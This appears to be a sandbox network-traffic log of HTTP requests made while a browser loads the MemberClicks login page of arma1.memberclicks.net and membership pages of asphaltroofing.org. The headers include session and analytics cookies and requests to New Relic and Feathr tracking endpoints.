Source: global traffic	HTTP traffic detected: GET /includes/css/themes/base/ui.accordion.css HTTP/1.1Host: arma1.memberclicks.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://arma1.memberclicks.net/includes/css/themes/base/ui.base.cssAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: serviceID=10085; 0012f0e1bd8c627a4a486a1336b31aa5=tcjqo9csmcshqmt8ctfc1abiq2; Login=1; __cfruid=bfc40cc62fe99c72e425bc9ac2e5a91f8c4e0847-1713884038
Source: global traffic	HTTP traffic detected: GET /includes/css/themes/base/ui.dialog.css HTTP/1.1Host: arma1.memberclicks.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://arma1.memberclicks.net/includes/css/themes/base/ui.base.cssAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: serviceID=10085; 0012f0e1bd8c627a4a486a1336b31aa5=tcjqo9csmcshqmt8ctfc1abiq2; Login=1; __cfruid=bfc40cc62fe99c72e425bc9ac2e5a91f8c4e0847-1713884038
Source: global traffic	HTTP traffic detected: GET /includes/css/themes/base/ui.slider.css HTTP/1.1Host: arma1.memberclicks.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://arma1.memberclicks.net/includes/css/themes/base/ui.base.cssAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: serviceID=10085; 0012f0e1bd8c627a4a486a1336b31aa5=tcjqo9csmcshqmt8ctfc1abiq2; Login=1; __cfruid=bfc40cc62fe99c72e425bc9ac2e5a91f8c4e0847-1713884038
Source: global traffic	HTTP traffic detected: GET /includes/css/themes/base/ui.tabs.css HTTP/1.1Host: arma1.memberclicks.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://arma1.memberclicks.net/includes/css/themes/base/ui.base.cssAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: serviceID=10085; 0012f0e1bd8c627a4a486a1336b31aa5=tcjqo9csmcshqmt8ctfc1abiq2; Login=1; __cfruid=bfc40cc62fe99c72e425bc9ac2e5a91f8c4e0847-1713884038
Source: global traffic	HTTP traffic detected: GET /includes/css/themes/base/ui.datepicker.css HTTP/1.1Host: arma1.memberclicks.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://arma1.memberclicks.net/includes/css/themes/base/ui.base.cssAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: serviceID=10085; 0012f0e1bd8c627a4a486a1336b31aa5=tcjqo9csmcshqmt8ctfc1abiq2; Login=1; __cfruid=bfc40cc62fe99c72e425bc9ac2e5a91f8c4e0847-1713884038
Source: global traffic	HTTP traffic detected: GET /includes/css/themes/base/ui.progressbar.css HTTP/1.1Host: arma1.memberclicks.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://arma1.memberclicks.net/includes/css/themes/base/ui.base.cssAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: serviceID=10085; 0012f0e1bd8c627a4a486a1336b31aa5=tcjqo9csmcshqmt8ctfc1abiq2; Login=1; __cfruid=bfc40cc62fe99c72e425bc9ac2e5a91f8c4e0847-1713884038
Source: global traffic	HTTP traffic detected: GET /assets/site/logo.png HTTP/1.1Host: arma1.memberclicks.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://arma1.memberclicks.net/loginAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: serviceID=10085; 0012f0e1bd8c627a4a486a1336b31aa5=tcjqo9csmcshqmt8ctfc1abiq2; Login=1; __cfruid=bfc40cc62fe99c72e425bc9ac2e5a91f8c4e0847-1713884038
Source: global traffic	HTTP traffic detected: GET /ui-login/v1/dist/styles.css HTTP/1.1Host: arma1.memberclicks.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://arma1.memberclicks.net/loginAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: serviceID=10085; 0012f0e1bd8c627a4a486a1336b31aa5=tcjqo9csmcshqmt8ctfc1abiq2; Login=1; __cfruid=bfc40cc62fe99c72e425bc9ac2e5a91f8c4e0847-1713884038
Source: global traffic	HTTP traffic detected: GET /ui-login/v1/dist/runtime.js HTTP/1.1Host: arma1.memberclicks.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://arma1.memberclicks.net/loginAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: serviceID=10085; 0012f0e1bd8c627a4a486a1336b31aa5=tcjqo9csmcshqmt8ctfc1abiq2; Login=1; __cfruid=bfc40cc62fe99c72e425bc9ac2e5a91f8c4e0847-1713884038
Source: global traffic	HTTP traffic detected: GET /ui-login/v1/dist/polyfills.js HTTP/1.1Host: arma1.memberclicks.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://arma1.memberclicks.net/loginAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: serviceID=10085; 0012f0e1bd8c627a4a486a1336b31aa5=tcjqo9csmcshqmt8ctfc1abiq2; Login=1; __cfruid=bfc40cc62fe99c72e425bc9ac2e5a91f8c4e0847-1713884038
Source: global traffic	HTTP traffic detected: GET /ui-login/v1/dist/main.js HTTP/1.1Host: arma1.memberclicks.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://arma1.memberclicks.net/loginAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: serviceID=10085; 0012f0e1bd8c627a4a486a1336b31aa5=tcjqo9csmcshqmt8ctfc1abiq2; Login=1; __cfruid=bfc40cc62fe99c72e425bc9ac2e5a91f8c4e0847-1713884038
Source: global traffic	HTTP traffic detected: GET /jmc-assets/global-js/mc-respond-v2.1.js HTTP/1.1Host: arma1.memberclicks.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://arma1.memberclicks.net/loginAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: serviceID=10085; 0012f0e1bd8c627a4a486a1336b31aa5=tcjqo9csmcshqmt8ctfc1abiq2; Login=1; __cfruid=bfc40cc62fe99c72e425bc9ac2e5a91f8c4e0847-1713884038
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/scripts/5c5dd728/cloudflare-static/email-decode.min.js HTTP/1.1Host: arma1.memberclicks.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://arma1.memberclicks.net/loginAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: serviceID=10085; 0012f0e1bd8c627a4a486a1336b31aa5=tcjqo9csmcshqmt8ctfc1abiq2; Login=1; __cfruid=bfc40cc62fe99c72e425bc9ac2e5a91f8c4e0847-1713884038
Source: global traffic	HTTP traffic detected: GET /ui-login/v1/getOrgName HTTP/1.1Host: arma1.memberclicks.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Accept: application/json, text/plain, /X-NewRelic-ID: VQ4EWF5RChABVlFaAAcGV1E=sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://arma1.memberclicks.net/loginAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: serviceID=10085; 0012f0e1bd8c627a4a486a1336b31aa5=tcjqo9csmcshqmt8ctfc1abiq2; Login=1; __cfruid=bfc40cc62fe99c72e425bc9ac2e5a91f8c4e0847-1713884038
Source: global traffic	HTTP traffic detected: GET /ui-login/v1/dist/1.js HTTP/1.1Host: arma1.memberclicks.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://arma1.memberclicks.net/loginAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: serviceID=10085; 0012f0e1bd8c627a4a486a1336b31aa5=tcjqo9csmcshqmt8ctfc1abiq2; Login=1; __cfruid=bfc40cc62fe99c72e425bc9ac2e5a91f8c4e0847-1713884038
Source: global traffic	HTTP traffic detected: GET /ui-login/v1/dist/7.js HTTP/1.1Host: arma1.memberclicks.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://arma1.memberclicks.net/loginAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: serviceID=10085; 0012f0e1bd8c627a4a486a1336b31aa5=tcjqo9csmcshqmt8ctfc1abiq2; Login=1; __cfruid=bfc40cc62fe99c72e425bc9ac2e5a91f8c4e0847-1713884038
Source: global traffic	HTTP traffic detected: GET /assets/site/logo.png HTTP/1.1Host: arma1.memberclicks.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: serviceID=10085; 0012f0e1bd8c627a4a486a1336b31aa5=tcjqo9csmcshqmt8ctfc1abiq2; Login=1; __cfruid=bfc40cc62fe99c72e425bc9ac2e5a91f8c4e0847-1713884038
Source: global traffic	HTTP traffic detected: GET /ui-login/v1/getOrgName HTTP/1.1Host: arma1.memberclicks.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: serviceID=10085; 0012f0e1bd8c627a4a486a1336b31aa5=tcjqo9csmcshqmt8ctfc1abiq2; Login=1; __cfruid=bfc40cc62fe99c72e425bc9ac2e5a91f8c4e0847-1713884038
Source: global traffic	HTTP traffic detected: GET /nr-full-1.257.0.min.js HTTP/1.1Host: js-agent.newrelic.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://arma1.memberclicks.netsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://arma1.memberclicks.net/loginAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /templates/buckhead-jt/favicon.ico HTTP/1.1Host: arma1.memberclicks.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://arma1.memberclicks.net/loginAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: serviceID=10085; 0012f0e1bd8c627a4a486a1336b31aa5=tcjqo9csmcshqmt8ctfc1abiq2; Login=1; __cfruid=bfc40cc62fe99c72e425bc9ac2e5a91f8c4e0847-1713884038
Source: global traffic	HTTP traffic detected: GET /templates/buckhead-jt/favicon.ico HTTP/1.1Host: arma1.memberclicks.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: serviceID=10085; 0012f0e1bd8c627a4a486a1336b31aa5=tcjqo9csmcshqmt8ctfc1abiq2; Login=1; __cfruid=bfc40cc62fe99c72e425bc9ac2e5a91f8c4e0847-1713884038
Source: global traffic	HTTP traffic detected: GET /1/5b403e9444?a=120876115&v=1.257.0&to=YVIAbURTXxUHWhVYWVgYI1pCW14ISXQifVlRXgx6WVxFFAlVDVREGVMLSkZeUB8%3D&rst=8987&ck=0&s=bc78c66f37fd5017&ref=https://arma1.memberclicks.net/login&af=err,xhr,stn,ins&ap=260&be=986&fe=7089&dc=5971&at=TRUDGwxJTBs%3D&fsh=1&perf=%7B%22timing%22:%7B%22of%22:1713884036355,%22n%22:0,%22f%22:3,%22dn%22:141,%22dne%22:141,%22c%22:141,%22s%22:142,%22ce%22:391,%22rq%22:391,%22rp%22:987,%22rpe%22:1090,%22di%22:6943,%22ds%22:6943,%22de%22:6957,%22dc%22:8067,%22l%22:8068,%22le%22:8075%7D,%22navigation%22:%7B%7D%7D&fp=5275&fcp=5275 HTTP/1.1Host: bam.nr-data.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /about-arma/join/ HTTP/1.1Host: www.asphaltroofing.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.1.25628076.1713884020; _ga_YHMWY88VCL=GS1.1.1713884019.1.0.1713884020.0.0.0; feathr_session_id=6627cb7c5c51a2698cf29ddb; _tccl_visitor=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _tccl_visit=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _scc_session=pc=1&C_TOUCH=2024-04-23T14:53:49.412Z; _fbp=fb.1.1713884037978.840489946
Source: global traffic	HTTP traffic detected: GET /resources/1/5b403e9444?a=120876115&v=1.257.0&to=YVIAbURTXxUHWhVYWVgYI1pCW14ISXQifVlRXgx6WVxFFAlVDVREGVMLSkZeUB8%3D&rst=9684&ck=0&s=bc78c66f37fd5017&ref=https://arma1.memberclicks.net/login&st=1713884036355&hr=0&fts=1713884036355&n=26&fsh=1 HTTP/1.1Host: bam.nr-data.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/fontello-icon-fonts/back-to-work-social-media-graphics/css/fontello.css?ver=3.3.8 HTTP/1.1Host: www.asphaltroofing.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.asphaltroofing.org/about-arma/join/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.1.25628076.1713884020; feathr_session_id=6627cb7c5c51a2698cf29ddb; _tccl_visitor=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _tccl_visit=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _scc_session=pc=1&C_TOUCH=2024-04-23T14:53:49.412Z; _fbp=fb.1.1713884037978.840489946; _ga_YHMWY88VCL=GS1.1.1713884019.1.1.1713884046.0.0.0
Source: global traffic	HTTP traffic detected: GET /wp-content/fontello-icon-fonts/back-to-work-social-media-graphics/css/animation.css?ver=3.3.8 HTTP/1.1Host: www.asphaltroofing.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.asphaltroofing.org/about-arma/join/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.1.25628076.1713884020; feathr_session_id=6627cb7c5c51a2698cf29ddb; _tccl_visitor=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _tccl_visit=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _scc_session=pc=1&C_TOUCH=2024-04-23T14:53:49.412Z; _fbp=fb.1.1713884037978.840489946; _ga_YHMWY88VCL=GS1.1.1713884019.1.1.1713884046.0.0.0
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2017/05/form-500x500.jpg HTTP/1.1Host: www.asphaltroofing.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.asphaltroofing.org/about-arma/join/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.1.25628076.1713884020; feathr_session_id=6627cb7c5c51a2698cf29ddb; _tccl_visitor=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _tccl_visit=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _scc_session=pc=1&C_TOUCH=2024-04-23T14:53:49.412Z; _fbp=fb.1.1713884037978.840489946; _ga_YHMWY88VCL=GS1.1.1713884019.1.1.1713884046.0.0.0
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2017/05/AdobeStock_104683960-500x500.jpeg HTTP/1.1Host: www.asphaltroofing.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.asphaltroofing.org/about-arma/join/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.1.25628076.1713884020; feathr_session_id=6627cb7c5c51a2698cf29ddb; _tccl_visitor=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _tccl_visit=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _scc_session=pc=1&C_TOUCH=2024-04-23T14:53:49.412Z; _fbp=fb.1.1713884037978.840489946; _ga_YHMWY88VCL=GS1.1.1713884019.1.1.1713884046.0.0.0
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2017/05/postcard-150x150.jpg HTTP/1.1Host: www.asphaltroofing.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.asphaltroofing.org/about-arma/join/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.1.25628076.1713884020; feathr_session_id=6627cb7c5c51a2698cf29ddb; _tccl_visitor=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _tccl_visit=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _scc_session=pc=1&C_TOUCH=2024-04-23T14:53:49.412Z; _fbp=fb.1.1713884037978.840489946; _ga_YHMWY88VCL=GS1.1.1713884019.1.1.1713884046.0.0.0
Source: global traffic	HTTP traffic detected: GET /v1/refresh HTTP/1.1Host: marco.feathr.coConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.asphaltroofing.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: f_id=6627cb818425280008d4a656
Source: global traffic	HTTP traffic detected: GET /v1/accounts/603026366fd8bf4e42de107f/integrations HTTP/1.1Host: polo.feathr.coConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://www.asphaltroofing.orgSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.asphaltroofing.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2017/05/form-500x500.jpg HTTP/1.1Host: www.asphaltroofing.orgConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.1.25628076.1713884020; feathr_session_id=6627cb7c5c51a2698cf29ddb; _tccl_visitor=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _tccl_visit=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _fbp=fb.1.1713884037978.840489946; _ga_YHMWY88VCL=GS1.1.1713884019.1.1.1713884046.0.0.0; _scc_session=pc=2&C_TOUCH=2024-04-23T14:54:07.930Z
